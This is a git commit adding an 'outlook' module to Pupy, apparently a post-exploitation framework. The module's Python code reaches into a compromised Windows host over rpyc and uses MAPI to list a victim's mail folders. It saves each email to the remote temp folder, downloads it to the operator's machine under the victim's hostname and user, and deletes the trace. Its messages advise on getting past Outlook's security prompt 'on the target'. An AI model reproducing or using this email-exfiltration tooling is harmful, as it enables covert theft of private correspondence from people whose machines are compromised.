New module (outlook) for communicate with Outlook application trough MAPI.

This commit is contained in:
root 2016-08-07 12:51:28 -04:00
parent da8b092799
commit 38f91a899d
2 changed files with 277 additions and 0 deletions

View File

@ -0,0 +1,223 @@
# -*- coding: UTF8 -*-
import os, logging, sys, time
from rpyc.utils.classic import download
from pupylib.utils.term import colorize
class outlook():
'''
'''
OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8}
OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5}
def __init__(self, module, rootPupyPath, localFolder="output/", folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG'):
'''
'''
self.module = module
self.outlook = None
self.mapi = None
self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.module.client.desc['hostname'].encode('utf-8'), self.module.client.desc['user'].encode('utf-8'), self.module.client.desc['macaddr'].encode('utf-8').replace(':','')))
self.foldersAndSubFolders = None
self.folderId = folderId
self.folderIndex = folderIndex
self.msgSaveType = msgSaveType
self.inbox = None
self.constants = None
self.sleepTime = sleepTime
self.remoteTempFolder = self.module.client.conn.modules['os.path'].expandvars("%TEMP%")
self.__connect__()
if not os.path.exists(self.localFolder):
logging.debug("Creating the {0} folder locally".format(self.localFolder))
os.makedirs(self.localFolder)
def __connect__(self):
'''
'''
#self.outlook = self.module.client.conn.modules['win32com.client'].Dispatch("Outlook.Application")
self.outlook = self.module.client.conn.modules['win32com.client.gencache'].EnsureDispatch("Outlook.Application")
self.mapi = self.outlook.GetNamespace("MAPI")
if self.folderId == None : self.setDefaultFolder(folderIndex=self.folderIndex)
else : self.setFolderFromId(folderId=self.folderId)
def close(self):
'''
'''
logging.debug("Closing Outlook link...")
self.outlook.Quit()
def __getOlDefaultFoldersNameFromIndex__(self, folderIndex):
'''
Return None if folderIndex not found in OlDefaultFolders
Otherwise returns Name of the folder
'''
found = False
for k in self.OL_DEFAULT_FOLDERS:
if self.OL_DEFAULT_FOLDERS[k] == folderIndex:
return k
return ""
def setDefaultFolder(self, folderIndex=None):
'''
See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex
Return True if done
Otherwise returns False
'''
if folderIndex == None:
folderIndex = self.OL_DEFAULT_FOLDERS['olFolderInbox']
folderName = self.__getOlDefaultFoldersNameFromIndex__(folderIndex)
if folderName == None:
logging.warning('Impossible to move the default folder to {0}. This folder index is not in {1}'.format(folderIndex, self.OL_DEFAULT_FOLDERS))
return False
else:
logging.debug("Moving outlook default folder to {0}".format(folderName))
self.inbox = self.mapi.GetDefaultFolder(folderIndex)
return True
def setFolderFromId(self, folderId):
'''
See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex
Return True if done
Otherwise returns False
'''
if folderId == None:
logging.error("Impossible to set Outlook folder to None")
return False
else:
logging.debug("Moving outlook default folder to {0}".format(folderId))
self.inbox = self.mapi.GetFolderFromID(folderId)
return True
"""
def getAnEmail(self, nb):
'''
nb: number of the email
nb>=1
'''
return self.inbox.Items[nb]
"""
"""
def getEmailsWithSubject(self, subject):
'''
Returns a list which contains all emails (mailItem objects) when subject is in the email subject
'''
emails = []
for anEmail in self.inbox.Items:
if subject in anEmail.Subject:
emails.append(anEmail)
return emails
"""
def getEmails(self):
'''
Returns a list which contains all mailitems
'''
emails = []
logging.debug("Getting {0} emails...".format(self.getNbOfEmails()))
for anEmail in self.inbox.Items:
emails.append(anEmail)
return emails
def downloadAnEmail(self, mailItem):
'''
'''
ctime, subjectCleaned, receivedTime, path, filename = str(time.time()).replace('.',''), "Unknown", "Unknown", "", ""
try:
subjectCleaned = ''.join(l for l in mailItem.Subject.encode('ascii','ignore') if l.isalnum())
receivedTime = str(mailItem.ReceivedTime).replace('/','').replace('\\','').replace(':','-').replace(' ','_')
except Exception,e:
logging.warning("Impossible to encode email subject or receivedTime:{0}".format(repr(e)))
filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime, subjectCleaned[:100], 'msg')
path = self.module.client.conn.modules['os.path'].join(self.remoteTempFolder,filename)
logging.debug('Saving temporarily the email on the remote path {0}'.format(path))
#mailItem.SaveAs(path, self.OL_SAVE_AS_TYPE['olMSG'])
mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType])
try:
self.module.client.conn.modules['os'].rename(path, path) #test if the file is not opened by another process
except OSError as e:
time.sleep(self.sleepTime)
logging.debug("Downloading the file {0} to {1}".format(path, self.localFolder))
download(self.module.client.conn, path, os.path.join(self.localFolder, filename))
logging.debug("Deleting {0}".format(path))
self.module.client.conn.modules.os.remove(path)
def downloadAllEmails(self):
'''
'''
logging.debug("Downloading all emails")
for i, anEmail in enumerate(self.getEmails()):
self.downloadAnEmail(anEmail)
sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,self.getNbOfEmails(), colorize("[+] ","green")))
sys.stdout.flush()
print "\n"
"""
def getAllSubjects(self):
'''
'''
subjects = []
logging.debug("Getting subjects of {0} emails...".format(self.getNbOfEmails()))
for anEmail in self.inbox.Items:
subjects.append(anEmail.Subject)
return subjects
"""
def getNbOfEmails(self):
'''
'''
#nc = self.inbox.Count
nb = len(self.inbox.Items)
logging.debug("Getting number of emails... {0} emails".format(nb))
return nb
def __getAllFolders__(self):
'''
'''
folders = {}
for inx, folder in enumerate(list(self.mapi.Folders)):
logging.debug("New folder: {0}({1})".format(folder.Name, folder.EntryID))
folders[folder.Name] = {}
if "Dossiers publics" not in folder.Name and "Public folders" not in folder.Name: #Bug in my version of outlook when getting emails in public folder
for inx,subfolder in enumerate(list(folder.Folders)):
logging.debug("{0}->{1} ({2})".format(inx, subfolder.Name.encode('utf-8'), subfolder.EntryID))
folders[folder.Name][subfolder.Name]=subfolder.EntryID
return folders
def printFoldersAndSubFolders(self):
'''
'''
foldersAndSubFolders = self.__getAllFolders__()
for i,folder in enumerate(foldersAndSubFolders):
print "{0}: {1}".format(i, folder.encode('utf-8'))
for j,subFolder in enumerate(foldersAndSubFolders[folder]):
print " {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8'))
"""
def __getRecipientsAddresses__(self, RecipientsObject):
'''
'''
recipients = []
for aRecipient in RecipientsObject:
recipients.append(aRecipient.Address)
return recipients
def __getSenderAddress__(self, mailItem):
'''
'''
if mailItem.SenderEmailType=='EX':
try:
return mailItem.Sender.GetExchangeUser().PrimarySmtpAddress
except Exception,e:
logging.warning("Impossible to get sender email address: {0}".format(e))
return mailItem.SenderEmailAddress
def printMailItem(self, mailItem):
'''
'''
print "ReceivedTime: {0}".format(mailItem.ReceivedTime)
#print "Sender: {0}".format(self.__getSenderAddress__(mailItem))
#print "Recipients: {0}".format(self.__getRecipientsAddresses__(mailItem.Recipients))
print "Subject: {0}".format(repr(mailItem.Subject))
print "Body: {0}".format(repr(mailItem.Body))
"""

54
pupy/modules/outlook.py Normal file
View File

@ -0,0 +1,54 @@
# -*- coding: UTF8 -*-
import os
from pupylib.PupyModule import *
from rpyc.utils.classic import upload
from modules.lib.windows.outlook import outlook
__class_name__="Outlook"
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..",".."))
@config(compat="windows", category="gather")
class Outlook(PupyModule):
'''
'''
dependencies=["win32api","win32com","pythoncom","winerror"]
def init_argparse(self):
'''
'''
self.arg_parser = PupyArgumentParser(prog="outlook", description=self.__doc__)
self.arg_parser.add_argument('-l', dest='foldersAndSubFolders', action='store_true', help="Get Outlook folders and subfolders")
self.arg_parser.add_argument('-n', dest='numberOfEmails', action='store_true', help="Get number of emails stored in the outlook folder choisen (see options below)")
self.arg_parser.add_argument('-d', dest='downloadAllEmails', action='store_true', help="Download all emails stored in the outlook folder choisen (see options below)")
self.arg_parser.add_argument('-f', dest='localOutputFolder', default='output/', help="Folder which will contain emails locally (default: %(default)s)")
self.arg_parser.add_argument('-folder-default', choices=list(outlook.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)")
self.arg_parser.add_argument('-folder-id', dest='folderId', default=None, help="Choose Outlook Folder using a folder ID (default: %(default)s)")
self.arg_parser.add_argument('-otype', choices=list(outlook.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)")
def run(self, args):
'''
'''
if args.folderId != None:
self.warning('Notice the folder Id option will be used and the default folder option will be disabled')
if args.foldersAndSubFolders == True:
self.success("Outlook folders and subfolders:")
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder])
outl.printFoldersAndSubFolders()
outl.close()
if args.numberOfEmails == True:
self.success("Trying to get number of emails in the {0} folder".format(args.outlookFolder))
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId)
self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, outl.getNbOfEmails()))
outl.close()
if args.downloadAllEmails == True:
self.success("Trying to download all emails stored in the {0} folder".format(args.outlookFolder))
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType)
nb = outl.getNbOfEmails()
if nb == 0:
self.error("This box is empty. You should choose another outlook folder")
else:
self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder))
self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.")
self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)")
outl.downloadAllEmails()
outl.close()